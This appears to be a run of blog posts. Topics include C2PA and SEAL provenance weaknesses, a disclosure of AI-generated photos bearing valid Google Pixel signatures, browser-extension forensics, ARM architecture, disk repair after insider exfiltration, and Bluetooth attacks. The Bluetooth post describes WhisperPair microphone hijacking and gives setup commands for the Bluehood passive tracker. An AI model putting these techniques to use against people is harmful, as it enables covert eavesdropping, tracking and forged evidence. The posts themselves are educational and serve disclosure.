In contrast, SEAL's revocation checking is mandatory and it distinguishes between valid, invalid, and unverifiable. If there is a network or DNS problem, then it becomes unverifiable. Because this check is required, every up-to-date SEAL validator will reach the same conclusion about the same media. There is no validator inconsistency.

Hardening DNS

PAL/CDL did have a few suggestions to secure DNS, but I don't think they are practical today:

• DNSSEC: DNS is normally unprotected. A malicious man-in-the-middle could easily change the query or the response. DNSSEC signs the DNS request and reply, ensuring that the results cannot be tampered with.
  
  However, at most domain registrars, DNSSEC is not enabled by default. User devices (Linux, Windows, MacOS, iOS, and Android) do not enable DNSSEC by default, and enabling it can be complicated (depending on the platform). This low adoption rate is why we cannot require DNSSEC right now.
  
  Moreover, DNSSEC breaks some technologies, which impacts adoption. For example:
  
  
  • Captive portals, where you must agree or login before connecting to the internet, work by hijacking the first DNS request. If you use DNSSEC, then the captive portal approach won't work and you'll see a browser error about a DNS problem.
  
  
  • DNSSEC isn't supported by most embedded devices because it is too resource-intensive for many small IoT systems.
  
  
  • Many companies run an internal DNS system that differs from the public DNS. (E.g., 'hackerfactor.com' from within my office network resolves to the direct server IP address, but the rest of the world uses a global DNS that directs to CloudFlare's address for DDoS-protection.) Enabling DNSSEC breaks this internal/external configuration. (After I enabled DNSSEC for hackerfactor.com, and before I could fix the problem, there was an hour where I couldn't access my own site from within my office!)
  
  Enabling DNSSEC can break many services, even if the DNS client allows downgrading from DNSSEC to DNS.


• DoH and DoT: DNS is designed to propagate requests between DNS servers, until it finds a response. The propagation is unencrypted and vulnerable to alteration. DNS-over-HTTPS and DNS-over-TLS are used to encrypt the first hop of the query, from you to your direct DNS resolver.
  
  In theory, if the entire end-to-end path -- from client making the request to the authoritative response -- is encrypted, then this is a great solution. The problem is, you only know if your first hop is encrypted, not if the rest of the relayed path is encrypted. Also, these protocols have a chicken-and-egg problem: you need DoT/DoH to do the DNS lookup, but you need DNS to get and validate the TLS certificate before you can use it. Between newness, lack of "out of the box" configurations, and the chicken-and-egg problem, both of these protocols have even less support than DNSSEC.

While an ideal solution would require both DNSSEC and DoT (or DoH), the practical response is that these are recommended, but cannot be required. (SEAL recommends using them when possible, while C2PA's documentation doesn't mention this problem at all.)

Fortunately, DNS is a pretty good solution as-is. (Not perfect, but good enough.) For example:

• The top level authoritative servers are hardened from decades of attacks.


• The hundreds of thousands of intermediate relays are widely distributed, making it virtually impossible for an attacker to hijack or poison all of them.


• The attacker doesn't know who, when, or from where the next DNS query will be generated. This makes it extremely difficult for them to attack a specific DNS lookup request.


• DNS caches results. Even if the attacker manages to poison the cache on one DNS server, they must constantly refresh the attack or bad data will expire. (I'm not saying that DNS spoofing isn't possible. I'm saying it's not trivial to do, must be constantly re-applied, and will likely be noticed.)

While the threat doesn't go away, it is certainly mitigated. This is not secure by design; this is secure by infeasibility: an attacker cannot realistically poison DNS for the entire world at the same time, nor can they do it indefinitely.

An Honest Opinion

While C2PA defines an entire ecosystem (with every part vulnerable to fraud), SEAL focuses on one part and implements it successfully. The exclusion-range bugs that UMBC's PAL/CDL found were SEAL-specific, narrow, and have been fixed! That's the kind of finding you want from a formal review. Revocation and DNS are a different story: they're not bugs in SEAL or C2PA, they're weaknesses in every known solution.

The honest takeaway is that neither SEAL nor C2PA "solves" revocation or DNS trust; nothing solves it completely. What differs is how each system fails. C2PA's answer to a compromised TSA is to hope it doesn't happen and make revocation checking optional when it does. SEAL's answer is to treat a signature that pre-dates a revocation as suspect and to seek out independent corroboration, rather than defaulting to valid or invalid. That's not a magical fix, but it's an honest one: it tells you when you don't actually know, instead of quietly defaulting to "trust it."

The DNS problem is even less solvable in the near term. DNSSEC and DoH/DoT are the "right" answers on paper, but neither is a realistic requirement today. Both SEAL and C2PA are stuck relying on DNS's de facto resilience (scale, caching, and distributed relay network), rather than any cryptographic guarantees. But only SEAL is explicit about the difference, which is essential for anyone using this kind of provenance data as legal or journalistic evidence.

None of this is a reason to abandon content provenance. It's a reason to be specific about what a "verified" label actually promises. SEAL's approach, to identify facts and not fake certainty, is a smaller claim than C2PA's, but it is a claim that SEAL can formally provide.

Welcome back, aspiring cyberwarriors!

These days, most of our online activity happens in web browsers. They’re our main way to access the internet, but they can also make it easy for malware to slip into our systems. While there are known vulnerabilities in browsers, the real trouble often comes from malicious browser extensions.

So, in this article, we’ll take a look at a tool called ExtAnalysis that acts as a first line of defense against sketchy plugins. It helps you do some forensic research and static code analysis quickly and visually. Let’s get rolling!

Getting Started with ExtAnalysis

ExtAnalysis is an open-source security framework designed to scan, analyze, and extract threat intelligence from Chrome, Firefox, Edge, and Brave extensions. It runs locally as a web application powered by a Flask backend.

To install it, we need to clone the repository from GitHub and run the main Python script:

kali> git clone https://github.com/Tuhinshubhra/ExtAnalysis
kali> cd ExtAnalysis
kali> pip3 install -r requirements.txt --break-system-packages
kali> python3 extanalysis.py

By default, ExtAnalysis binds to 127.0.0.1 on port 13337 and automatically opens a browser window to http://127.0.0.1:13337.

ExtAnalysis supports different formats. First of all, we can just provide a link to the plugin published on the Chrome Web Store or Firefox Add-ons. Secondly, it supports local extension scanning. And lastly, we can manually upload unpacked or packed extension archives in .crx, .xpi, .zip, and .tar formats. For this demonstration, I’ll just provide a link to a random crypto wallet published in the Chrome Web Store.

After entering the URL, ExtAnalysis will start analysis. Depending on the size of the plugin, it can take time. Eventually, you will see the report as below.

On the basic info tab, we can see data like name, author, version, extracted URLs, etc. Also, this tab has a built-in viewer for reviewing manifest.json configuration blueprints.

By changing the tab to Files, we can explore an interactive network graph. It constructs an interactive network graph mapping all extension source files, internal scripts, outbound external URLs, and domain relationships.

As you can see at the bottom of the screenshot, ExtAnalysis also allows viewing the source code of the files. It features an embedded tool to de-minify and restructure obfuscated or dense JavaScript and CSS files for manual code audits.

Next, we have the permission risk assessment tab.

ExtAnalysis parses requested permissions and categorizes them into risk levels (High, Medium, etc) to highlight capability escalation.

After that, we have the URL Reconnaissance Suite tab.

This tab provides extracted domains, URLs, and external JS files. For full functionality, navigate to the settings menu inside the web interface and enter your VirusTotal API key to enable automated hash and domain scans.

And last but not least is the tab with extracted intelligence.

ExtAnalysis automatically scans all extension files to parse and extract hardcoded threat indicators, including IPv4 and IPv6 addresses, domains, full URLs, Bitcoin wallet addresses, and email addresses. It also detects Base64-encoded strings and raw file comments.

Workflow for Analyzing an Extension

Start by submitting the target extension for analysis. Next, review its manifest file and requested permissions to identify any overreach or suspicious capabilities. Then, inspect the interactive visual graph to map external domains, C2 infrastructure, and suspicious third‑party endpoints. After that, extract intelligence and IOCs by checking the dedicated tabs for hardcoded IP addresses, Base64 strings, Bitcoin wallet addresses, and other indicators of compromise. Finally, perform a code audit by opening JavaScript files in the built‑in viewer, applying the code beautifier, and inspecting background scripts for keyloggers, credential‑harvesting triggers, or other malicious logic.

Important Limitations to Keep in Mind

ExtAnalysis performs static analysis only, scanning extension source files without capturing runtime execution or behavior triggered dynamically. Heavily obfuscated JavaScript or sandbox‑evasion scripts can obscure its automated analysis, reducing visibility into malicious logic. For this reason, security researchers typically use ExtAnalysis as a fast first‑step reconnaissance tool to map structure and permissions before proceeding to dynamic analysis.

Summary

Web browser plugins make our lives easier, but if plugin developers have malicious intent, they can introduce significant security risks. In this article, we explored static analysis of extensions using the ExtAnalysis tool. Always pay attention to what you install, and stay secure.

The post Browser Forensics: Analyzing Suspicious Extensions with ExtAnalysis first appeared on Hackers Arise.

In the United States, today is Labor Day, when we honor the American labor movement and the contribution of laborers. Considering how the middle class and laborers are currently under attack, with massive inflation, a growing gap between the ultra-rich and everyone else, and AI replacing workers, it's more important than ever to recognize this holiday.

For many people, today is a three-day weekend. One of my friend's kids knows that I'm self-employed. She asked if I got Labor Day off? I laughed. Nope, I use the extra day to catch up on all of my half-finished projects.

Among the things I accomplished?

Power!

I finally completed the DIY solar panel project that I started last year by putting the battery in a cabinet. It may not sounds like a big deal, but I can walk by the server rack without fear of electrocution.



Mounting it in the cabinet was much more difficult that it sounds. It required drilling holes through steel for the power cords, and mounting rubber grommets to prevent the sharp edges from damaging the cables. Inside:

• The battery has plenty of space away from the walls so it won't short out, and it's sitting on a half-inch thick insulated foam mat to keep it isolated and safe.


• A temperature sensor monitors it in case of overheating. The battery currently sits at 75°F (23.9°C) when idle or in use, and rises to 78°F (25.6°C) when charging. That's the sweet spot for keeping the battery running longer.


• Fort Collins has surge pricing for electricity, where late afternoon's power is over 4 times more expensive. While I use this project for solar power, I'm also using it for load shifting. That's when you charge using cheaper power so you can use it later, when the price increases.
  
  To help with the load shifting, I mounted a battery charger plugged in at the bottom of the cabinet. The charger is controlled by a smart outlet. This allows the automated system to partially charge the battery at night, when electricity is cheap, and use the battery when power is more expensive.

On a typical day, this homemade solar solution provides about 5 hours of power on overcast days, and up to 9 hours when it's sunny. It's saving me about 30kWh per month. (That's about 28kWh when I subtract the charger's usage.)

At the current savings rate, it will probably pay itself off in 8 years. That's not bad for a fun (and dangerous) home project.

Music!

Last year, I wrote about how I sometimes relax by switching gears and doing something completely different. Yes, I'm still writing my bad poetry and still trying to put it to music. After a year, I'm happy to announce another album by Brain Dead Frogs: Reflections.



I often hear people say that AI music sounds like crap. However, the real problem is that people often put very little effort into the composition. Too many artists combine AI-written lyrics with AI-music, and very little manual effort. This results in meaningless lyrics, random quips, and no storyline. When the lyrics are dull, the music ends up sounding equally flat. On top of this, there's often no human curator to filter out the bad songs. This results in a flood of bad AI music.

With this album, I wrote all of the lyrics, selected and edited the compositions (sometimes fighting with Suno for days to make it sound the way I want it to sound), and manually curated the collection into an album. (I wrote over 20 songs, but only included the 12 best ones on this album.) The net result combines human-written lyrics with AI-generated music and vocals.

As far as topics and genres go, I have eclectic tastes. There's everything from 80s Big Hair Rock ("Bald") to Reggae ("I Ate The Last Unicorn"), latin guitar ("Dangerously Competent"), and even a Scottish Garage Band song written in Doric! (I used AI to translate my English poem into this Scottish dialect; it took a few iterations and help from a Doric dictionary.)

Since it's human written and human curated, I certainly hope it sounds better than typical "AI crap music."

The House!

After I left the office, I went to work at home. I mowed the lawn, swept the floor, and vaccummed the carpet. (It's allergy season, and this kind of cleaning really helps.) I also began moving piles of old stuff that we need to get rid of. On top of this, someone left a bunch of warm chocolate chip cookies on the counter, and I needed to help, uh, put them away!

If today was a holiday for you, then I hope your Labor Day was relaxing, fun, or productive. For me, I'm ready to get back to programming.

Welcome back, aspiring cyberwarriors!

The modern digital ecosystem has undergone a silent but total transformation. Every day, we interact with ARM-based processors billions of times. These chips drive almost all iOS and Android devices and are key to the significant performance improvements seen in Apple’s M-series Macs. Some lightweight notebooks, such as Chromebooks, use ARM processors. IoT devices are largely powered by ARM. Besides that, recently ARM expanded into silicon production with the Arm AGI CPU, its first production-ready silicon designed for agentic AI workloads in data centers. With this level of ubiquity in our digital world, it’s important to be familiar with ARM.

Therefore, this article serves as a foundation for learning about ARM. It delves into the architecture of ARM CPUs, covering design principles and energy efficiency. Let’s get rolling!

What is ARM?

ARM is a family of CPU designs based on a simple, efficient instruction set (RISC). It started as ‘Acorn RISC Machine’, then ‘Advanced RISC Machines’, and now it’s just called ARM.

Unlike traditional chipmakers, Arm Holdings does not manufacture physical processors. Instead, the company designs the foundational CPU architecture and licenses its intellectual property and processor cores to other hardware manufacturers (such as Apple and Nvidia).

What is an ARM-Based CPU?

ARM CPUs use a simple, efficient RISC instruction set. RISC stands for Reduced Instruction Set Computer. It represents a hardware design philosophy focused on streamlining how a processor interprets and executes software instructions.

This design philosophy stands in direct contrast to CISC (Complex Instruction Set Computer), which is the architecture utilized by traditional Intel and AMD x86 processors.

The RISC concept originated in the early 1980s, heavily influenced by research at the University of California, Berkeley. Researchers evaluating resource usage discovered that most software programs only utilized a small fraction of a processor’s complex, built-in instruction set. They realized that if they removed the highly complex, rarely used, and difficult-to-implement instructions, the remaining simpler instructions could execute much faster, while requiring significantly less physical space and power on the silicon chip. This discovery led directly to the development of early RISC designs, including the foundational Acorn RISC Machine (ARM) project in 1983.

Core Principles of RISC Design

RISC architectures use a fixed instruction width for high-speed execution. Unlike CISC architectures that have instructions of varying lengths, a modern 64-bit RISC architecture like ARM64 uses a uniform instruction size, typically 32 bits. This consistency makes it easier for the processor to identify where one instruction ends and the next starts, which helps in quickly fetching, decoding, and executing instructions.

A key feature of RISC design is its Load-Store architecture. In traditional CISC, a single instruction might perform operations directly on data in memory. In RISC, memory access and calculations are separate. In a RISC CPU, Arithmetic Logic Unit (ALU) operations only happen between registers, which are small, fast storage spaces on the processor. To work with data from memory, the processor has to first load it from RAM into a register, perform the calculation in the register, and then store the result back to memory.

To meet the needs of this Load-Store model, RISC processors have a large, uniform register file. Since data cannot be processed directly in memory, the CPU needs many registers to keep temporary data readily available. A 64-bit RISC processor usually has 31 general-purpose 64-bit registers that act as a quick local workspace.

The clear and register-focused design leads to mostly single-cycle execution and effective hardware pipelining. Because RISC instructions are straightforward and mainly work with registers, most can finish in one clock cycle. This single-cycle capability enables the processor to use an instruction pipeline. In this system, while one instruction is executed, another is decoded, and a third is fetched from memory simultaneously. This overlap helps the processor complete a new instruction nearly every clock tick, maximizing efficiency.

Feature / Approach	CISC (e.g., x86)	RISC (e.g., ARM)
Instruction complexity	Single instructions perform multiple tasks (data manipulation, memory access, arithmetic)	Breaks tasks into multiple simpler instructions
Execution example	One instruction: load → compute → store	Three separate instructions: load → compute → store
Decoding logic	Intricate and complex	Simpler, more uniform
Clock cycles per instruction	Often multiple cycles	Usually one cycle per simple instruction
Hardware requirements	Substantial hardware for decoding and execution management	Less hardware for decoding, more uniform control logic
Power & design impact	Higher power consumption and design complexity	Lower power consumption, simpler design
Optimization	Harder to optimize individual operations	Easier to optimize each step independently
Parallel execution	More difficult	Easier to achieve

Energy Efficiency

Firstly, at the core of the RISC philosophy is the use of a smaller vocabulary of simpler, fixed-length instructions. Because the CPU does not have to parse highly complex, variable-length instructions, the physical hardware required to decode and execute instructions is dramatically simplified. This simplicity results in a vastly reduced transistor count. For example, early ARM cores required only 30,000 to 35,000 transistors. Fewer transistors mean that fewer components are active during each instruction cycle, which directly lowers dynamic power consumption and dynamic leakage.

Secondly, RISC processors are designed to scale their power draw dynamically based on the active workload. Through techniques like Dynamic Voltage and Frequency Scaling (DVFS), the processor automatically lowers its operating voltage and clock speed during periods of low computational demand, conserving energy when peak performance is unnecessary. For example, microcontroller-class processors like the ARM Cortex-M series are engineered to draw almost zero power when in deep sleep states, yet they can wake up and execute tasks rapidly on demand.

Thirdly, on a system-on-chip level, modern RISC implementations leverage heterogeneous processing, such as Arm big.LITTLE and DynamIQ technologies. Instead of running all tasks on identical, power-hungry cores, the processor combines:

LITTLE cores: Tiny, ultra-efficient cores optimized to handle routine, low-intensity background tasks (like texting, email, or playing music) using minimal power.

big cores: High-performance cores designed to tackle heavy, sustained workloads (like mobile gaming or intense web browsing).

This dynamic, on-demand task allocation ensures that the high-power “big” cores are only activated when strictly necessary, maximizing overall battery life.

Apple M-series Chips

The Apple M-series chips are a group of processors made by Apple Inc. They are designed for efficient performance and are based on ARM architecture. Each chip includes a CPU, GPU, a Neural Engine for machine learning, and a unified memory system that helps improve overall efficiency.

Apple announced its move to its own M-series chips at the Worldwide Developers Conference (WWDC) on June 22, 2020. This change was from Intel’s x86 processors to ARM-based designs for better power efficiency and performance.

For example, the M1 chip offers up to 3.5 times faster CPU performance while consuming less power than Intel chips for certain tasks. This allows for high performance without generating too much heat.

The M-series chips also improve battery life. Devices often run up to 1.5 times longer than Intel-based Macs. This is due to their optimized power management. In real-world use, like watching videos or doing light work, the MacBook Air can last 15 to 18 hours, compared to the 11 to 12 hours typical of similar Intel models.

By 2026, devices like the Mac Studio and Mac Mini are using M-series CPUs to run advanced AI models directly on users’ desks. Many people are shifting away from paying for AI services and choosing local systems instead.

Summary

In this article, we discussed ARM, a CPU architecture based on RISC principles, which emphasizes simplicity and efficiency. We explained how ARM differs from x86/CISC (Intel/AMD), noting that its smaller instruction set uses fewer transistors and less power. Additionally, we looked at how ARM has impacted Apple’s M-series chips, showing gains in performance, heat management, and battery life, along with the shift toward handling AI tasks on ARM hardware.

The post ARM CPU Architecture: The Power of Simplicity and Efficiency first appeared on Hackers Arise.

Welcome back, investigators!

Sometimes our work requires repairing corrupted disks before we can do a forensic analysis. Hackers use different techniques to cover their tracks, and often they just corrupt the boot sector. In Mr.Robot we saw them physically damaging drives or exposing hardware to high heat.

Physical damage is less common though. Hackers more often wipe partitions, corrupt the Master Boot Record or find other ways to tamper with the file system to confuse investigators. When the MBR gets rewritten, the system won’t boot again. We showed that in PowerShell for Hackers: Mayhem Edition.

You might assume that data becomes irrecoverable. But that’s not always true. 

Today we will repair a drive and recover deleted files from it.

Fixing the Drive

Corrupting the disk boot sector is easy. You alter the data the system expects to find there, so the OS can’t load the disk in the normal way. 

Before we continue, let’s see what evidence we were given.

Above is a forensic image and below is a text file with metadata about that image. You should always verify the integrity of the evidence by comparing the computed hash of the image with the hash recorded in the metadata file.

If the hash matches, work only on a duplicate and keep the original evidence sealed. 

Opening a disk image with a corrupted boot sector in Autopsy or FTK Imager will not work, as many of these tools expect a valid partition table and a readable boot sector. In such cases you will need to repair the image manually with a hex editor. We will use HxD for this. 

The first 512 bytes of a disk image contain the MBR on traditional MBR partitioned media. In this image the final two bytes of that sector were modified. A valid MBR should end with the boot signature 0x55 0xAA. Those two bytes tell the firmware and most tools that the sector holds a valid boot record. Without the signature the image may be unreadable, so restoring the correct 0x55AA signature is the first step.

When editing the MBR in a hex editor, do not delete bytes with backspace, you need to overwrite them. Place the cursor before the bytes to be changed and type the new hex values. The editor will replace the existing bytes without shifting the file.

Partitions

This image contains two partitions. In a hex view you can see the partition table entries that describe those partitions. In FTK Imager and Autopsy those partitions will be shown graphically once the MBR and partition table are valid.

Both of them are in the black frame. The partition table entries also encode the partition size and starting sector in little endian form, which requires byte order interpretation and calculation to convert to human readable sizes. It’s a bit complex. For example, if you see an entry with 63,401,984 sectors and each sector is 512 bytes, then do this:

63,401,984 sectors × 512 bytes = 32,461,815,808 bytes, which is 32.46 GB (decimal) or ≈ 30.23 GiB

FTK Imager

We used FTK Imager to view the contents of our evidence drive. In FTK Imager choose File, then Add Evidence Item, select Image File and choose the verified copy of the image.

Now FTK Imager can see the partitions and their file systems. Autopsy can handle a large portion of the analysis and save time, but you want to give it some manual inspection to understand how Windows stores metadata.

$MFT

Our next goal is to analyse the $MFT (Master File Table). The $MFT is a system file that works as an index for every file and directory on the file system. It has records with metadata about filenames, timestamps and attributes. Sometimes you can even extract files from it that were stored somewhere on the disk, if their size was small. It’s called residential data. 

Export the $MFT from the mounted or imaged volume. Right click $MFT and then Export Files.

To parse and extract readable output from the $MFT use MFTECmd.exe. This tool is included in Eric Zimmerman’s EZTools collection.

PS > MFTECmd.exe -f ..\Evidence$MFT --csv ..\Evidence\ --csvf MFT.csv

It creates a CSV file you can use for keyword searches and timeline work. 

When a CSV file is opened, you can use basic keyword search or pick an extension to see what files existed on the drive. 

You need to know how to work with $MFT, because it’s important. If a suspect deleted a file, the $MFT may still contain some information about it. That information can be used in data recovery and in building a timeline of the suspect’s activity.

Suspicious Files

On the second partition we found several suspicious entries. Many were marked as deleted but can still be exported and analyzed.

The insider had DiskWipe.exe to remove traces. You can see references to sensitive corporate documents, which means data exfiltration. At this stage we can confirm the machine was used to access sensitive files. If we decide to analyze further, we can use registry and disk data to see whether DiskWipe.exe was actually executed and what insider executed it. This is outside of our scope today.

$USNJRNL

The $USNJRNL (Update Sequence Number Journal) is another hidden NTFS system file that records changes to files and directories. It logs creation, modification and deletion before they affect files on the disk. Because it records a history of file system operations, $UsnJrnl ($J) can be used in cases involving mass file deletion or tampering. 

To extract the journal, first go to root, then $Extend and double-click $UsnJrnl. You need a $J file.

You can then parse it with MFTECmd in the same way:

PS > MFTECmd.exe -f ..\Evidence$J --csv ..\Evidence\ --csvf J.csv

Since the second partition had the wiper, we can assume the insider deleted files to cover traces. We need to open the CSV in Timeline Explorer and set the Update Reason to FileDelete to view deleted files.

Among the deleted entries we found a “data Exfil” folder. Often hackers put data into folders and then zip them to transfer, so we searched $MFT and $J for archive extensions. A few entries with “New Compressed (zipped) Folder.zip” were there. 

We can see that an archive was created and files were added to it. Then the insider renamed that archive (RenameOldName). Using the Parent Entry Number stored in $J we can correlate entries and recover the original folder name.

We found that the original folder name was “data Exfil” which was later deleted by the insider.

Timeline

From the collected artifacts we know the machine was used for data exfiltration. We found Excel sheets, PDFs, text documents and zip archives with sensitive data. The insider zipped a folder with sensitive files and then tried to wipe everything. To confirm execution and attribute actions to a certain user we can analyze the registry, prefetch files, shellbags and NTUSER.DAT. The MBR was corrupted intentionally to complicate the investigation.

Summary

Digital forensics is useful for both blue and red teams. Many Windows features that were designed to make the OS easier to work with can also be valuable for forensic analysis. Autopsy and other tools can speed things up, but you still need to validate the output with some manual checks.

If you like what we’re doing here and want to get started in Digital Forensics or advance your skills, we recommend our training for both beginners and more experienced students.

The post Digital Forensics: Fixing a Corrupted Disk After File Exfiltration first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Bluetooth is often seen as something short range and therefore harmless. Many people think that because it only works over a limited distance, it must also be secure by design. But that’s not true. Bluetooth is convenient, but convenience often comes at the cost of security and privacy. A big number of vulnerabilities show that Bluetooth devices can expose much more information than many realize. At a technical level, they constantly announce their presence to the surrounding environment. Even when you are not actively using them, they still send small pieces of data. Over time these pieces form patterns that show detailed information about people’s lives.

Hackers can take control of devices, pair with them without permission and even use them as remote listening tools. In other cases, simply listening is enough. 

WhisperPair Vulnerability

In January 2026, researchers from KU Leuven disclosed a critical Bluetooth vulnerability known as WhisperPair (CVE-2025-36911). This vulnerability affects hundreds of millions of Bluetooth audio devices, including headphones and headsets that rely on modern pairing mechanisms. The attack takes advantage of a feature called Fast Pair in Android. Fast Pair was designed to simplify the user experience. With a single tap users can connect their Bluetooth accessories and synchronize them with their account. It’s convenient and widely adopted.

However, some devices don’t properly ignore pairing requests when they aren’t in pairing mode. A hacker can exploit this by sending crafted pairing initiation packets to a vulnerable device. Even if the device isn’t actively trying to connect, it may still respond. Once the hacker receives that response, they can establish a normal Bluetooth connection.

From that point on, the hacker gains control over the accessory. 

Then they can activate the microphone to record conversations. The attack works from up to 14 meters away, which is plenty for offices, cafes or public transport.

This can be combined with device tracking. Some Bluetooth accessories integrate with Google’s Find Hub network, which allows lost devices to be located using nearby Android devices. If a vulnerable accessory has never been paired with an Android device before, a hacker can register it under their own Google account. In doing so, they become the “owner” of the device in the tracking system.

The victim may eventually receive a notification about unwanted tracking, but the alert can appear misleading. If the user’s own device is responsible for tracking, that will cause confusion and reduce the likelihood that the threat is taken seriously. Meanwhile, the hacker continues to track the device over time. It affects multiple vendors, chipsets and product lines. As a result, exploitation is likely to continue well beyond 2026.

Bluehood Scanner

Sometimes, attacks are completely passive. In February 2026, a developer released a Bluetooth scanner called Bluehood. It looks like a monitoring tool and shows how much information can be extracted from the environment without ever connecting to a device.

Bluetooth is almost always enabled. Phones, laptops, smartwatches, headphones, cars and even medical devices continuously broadcast signals. Bluehood listens to that data and builds patterns over time. By passively listening to this traffic over days or weeks, hackers can reconstruct behavior.

For example, you can find out when delivery vehicles arrive and whether the same driver appears regularly. You can see daily routines by tracking when certain devices appear and disappear. You can also correlate devices that are always seen together, such as a phone and a smartwatch, which likely belong to the same person. You can even determine approximate schedules when someone leaves for work or returns home.

You don’t need to buy hardware for that. In many cases, a laptop will do the job. If you want, you can get a Raspberry Pi with a Bluetooth adapter. 

Some devices are designed to always keep Bluetooth active. Hearing aids, for instance, rely on Bluetooth Low Energy for configuration and diagnostics. Pacemakers may also broadcast BLE signals for similar reasons. These aren’t devices that users can simply turn off.

Many cars use Bluetooth for diagnostics, driver assistance and connectivity features. Consumer devices add even more noise to the environment. Smartwatches, pet trackers and fitness equipment all give off signals. Together, they create a dense network of signals that can be analyzed.

Bluehood works only in passive mode. It doesn’t try to connect to devices. It identifies them based on manufacturer data and BLE service UUIDs, then tracks when they appear and disappear. The tool also includes a web dashboard. It generates hourly and daily heatmaps, tracks dwell time and has filters. New devices often use randomized MAC addresses for privacy and Bluehood can detect and filter these.

Installation

You can install  the tool quickly using Docker.

kali > git clone https://github.com/dannymcc/bluehood.git
kali > cd bluehood
kali > docker compose up -d

Alternatively, you can install it using package managers and Python tools.

kali > sudo apt install bluez python3-pip
kali > pip install -e .
kali > sudo bluehood

After the installation you can start the scanner.

# Start with web dashboard (default port 8080)
kali > bluehood

# Specify a different port
kali > bluehood --port 9000

# Use a specific Bluetooth adapter
kali > bluehood --adapter hci1

# List available adapters
kali > bluehood --list-adapters

# Disable web dashboard (scanning only)
kali > bluehood --no-web

Keep in mind that if you installed the app with Docker Compose, it should be accessible at http://localhost:8080.

Collected data is stored in SQLite, and the tool can optionally send notifications through ntfy.sh when devices arrive or leave a location.

Summary

Bluetooth security is often underestimated because the technology feels invisible and low risk. That’s not the case though. There are active and passive techniques that can be used for tracking. Big cities often have listeners scattered around public places and stations, working like Bluehood. Active techniques like WhisperPair can lead to full device compromise with tracking and audio surveillance.

If you enjoy experimenting with frequencies and trying new things, we have our SDR for Hackers training. With Master OTW, you’ll learn how to use your computer and inexpensive SDR hardware to explore and hack a wide range of radio signals.

The post Bluetooth Hacking and Security: The WhisperPair Exploit and Bluehood Surveillance first appeared on Hackers Arise.

The news has been full of incredible reports recently. Like this one:

BREAKING: Iowa Farmers Discover "Glitter Milk" from Unicorn Cows
DES MOINES, IA - May 25, 2026

A handful of Iowa dairy farmers say they've started milking unicorn cows, and the results have local nutritionists scratching their heads.

The milk sparkles.

"It's real pretty in the morning sun," said Polk County dairy farmer Dale Hutchins. "First time I saw one with a horn, I figured I'd accidentally bought somebody else's livestock. Then it started making glitter milk."

Researchers examining the milk say the shimmering particles appear to be naturally occurring protein crystals rather than actual glitter. Preliminary tests found the milk to be perfectly safe, with unusually high levels of vitamins and minerals. One eight-ounce serving reportedly contains an entire day's recommended vitamins A, C, D, E, B1, B2, B3, and B12.

"The numbers keep coming back looking impossible," said one nutritional biochemist involved in the testing. "Either we've discovered something genuinely remarkable, or one of our graduate students has been replacing the samples with breakfast cereal."

Children participating in a small nutrition study reportedly loved the milk, although several parents complained that the spilled cereal was "way harder to clean because the glitter goes everywhere."

Federal regulators have not commented, and the Iowa Department of Agriculture says it's waiting for additional testing before making any official statements.

If production continues, glitter milk could begin appearing in a few Midwestern co-ops later this year for about $8.99 a half-gallon.

- Staff Reporter, Heartland Agricultural Digest

As proof of this incredible story, we have a photo of a farmer milking a unicorn cow!



According to the metadata:

• The photo is from a Google Pixel 10 Pro.


• The picture has cryptographically signed C2PA metadata. This data says it is "Created by Pixel Camera". The C2PA metadata even includes a 1024x768 preview image of the photo. Everything in the cryptographically signed manifest is consistent with a real photo from a Google Pixel camera.


• In my blogs, I have repeatedly detailed ways to create "authenticated forgeries" using C2PA. However, the one thing I cannot forge is the cryptographic signature itself. This picture has a valid X.509 certificate chain that traces back to the C2PA-managed trust list. The certificate is issued by Google for the Pixel cameras. To my knowledge, nobody can forge this signature; this was really signed by a Google Pixel camera.


• The cryptographic signature includes a signed timestamp. The timestamp is dated "2026-05-25 17:04:19 GMT" and the signer is Google. Again, I cannot forge this signed timestamp; this is real.


• The C2PA organization has a list of conforming products. If we upload this glitter-milk picture to Adobe's Inspect service (a conforming product), it reports that this is a legitimate photo from a Pixel Camera, recorded on May 25, 2026.


• The Adobe-run Content Authenticity Initiative (CAI) provides C2PA implementations. Their CAI Verify validator reports that the contents shows "captured media", came from Google LLC, issued by a Pixel Camera with a notation that it is "Conformant" (a conforming product), and includes a verified timestamp of "May 25, 2026 at 11:04 AM MDT". (They show the time relative to your own time zone, and I'm in MDT.)

Everything says that this is a legitimate photo from a Google Pixel camera.

There's just one problem: It's a forgery. The picture is AI generated and the news article is fiction, but Google's signatures are real.

Industry best practices for responsible disclosure suggest giving vendors 45-90 days to respond. Since we are 90 days past the vendor notification, I'm following industry best practices and making the details public.

Early Reporting History

I've been working closely with a group of researchers at the University of Maryland, Baltimore County (UMBC). They have a Provenance and Authenticity Standards Assessment Working Group (PASAWG) that has been formally evaluating solutions like C2PA. (While I'm a regular attendee, I'm there as a guest and resource, not a member.) One of the things I like about PASAWG is that they have a more formal way to report bugs than my typical "shouting into the blogosphere".

Nearly a year ago (September 2025), Google made a big announcement about the Pixel 10 product line. They explained "How Pixel and Android are bringing a new level of trust to your images with C2PA Content Credentials". Their bullet points (with their bold emphasis):

• The Pixel 10 lineup is the first to have Content Credentials built in across every photo created by Pixel Camera.


• The Pixel Camera app achieved Assurance Level 2, the highest security rating currently defined by the C2PA Conformance Program. Assurance Level 2 for a mobile app is currently only possible on the Android platform.


• A private-by-design approach to C2PA certificate management, where no image or group of images can be related to one another or the person who created them.


• Pixel 10 phones support on-device trusted time-stamps, which ensures images captured with your native camera app can be trusted after the certificate expires, even if they were captured when your device was offline.

As Carl Sagan said, "Extraordinary claims require extraordinary evidence." So we began to take a closer look.

Two months later (November 2025), PASAWG, one of my coworkers (Shawn), and I reported to representatives from Google and C2PA about a potential problem with Google's Pixel camera. In particular, we theorized that someone with root on the device could sign any picture as if it were from the camera. While the C2PA representative listened to the concerns, the Google representative was adamant that this type of attack was not possible. In particular, the signing keys are stored in a secure chip and cannot be extracted, and the Android architecture prevents unauthorized applications from accessing the keys.

More Researchers

Unrelated to our research and reporting, I had been contacted by other researchers who thought that they found the same theoretical flaw. One in Canada, one in the US, and one in the UK; this shows that other people are thinking the same way. (And just because I didn't list any state-sponsored threat actors doesn't mean they are not also evaluating this vulnerability.)

Three months ago (May 2026), a researcher named retr0id (David Buchanan) contacted me. He took the exploit from theoretical to implementation. He sent me two sample pictures that were signed using a Google Pixel device. To say I was impressed is an understatement. But I wanted hard proof that he had implemented it. I sent him a challenge:

